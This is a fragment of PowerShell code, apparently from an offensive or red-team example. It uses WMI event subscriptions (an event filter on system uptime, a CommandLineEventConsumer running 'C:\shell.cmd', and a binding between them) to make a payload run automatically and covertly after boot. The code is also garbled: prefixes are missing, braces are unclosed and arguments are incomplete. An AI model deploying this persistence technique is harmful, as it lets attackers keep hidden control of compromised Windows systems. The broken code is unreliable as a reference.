NameSpace = 'root\subscription'
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
EventNamespace = 'root\CIMV2'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 1200"
$filterResult = Set-WmiInstance @wmiParams
$wmiParams.Class = 'CommandLineEventConsumer'
$wmiParams.Arguments = @{
ExecutablePath = "C:\shell.cmd"
$consumerResult = Set-WmiInstance @wmiParams
#WMI __FILTERTOCONSUMERBINDING
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Consumer = $consumerResult
$bindingResult = Set-WmiInstance @wmiParams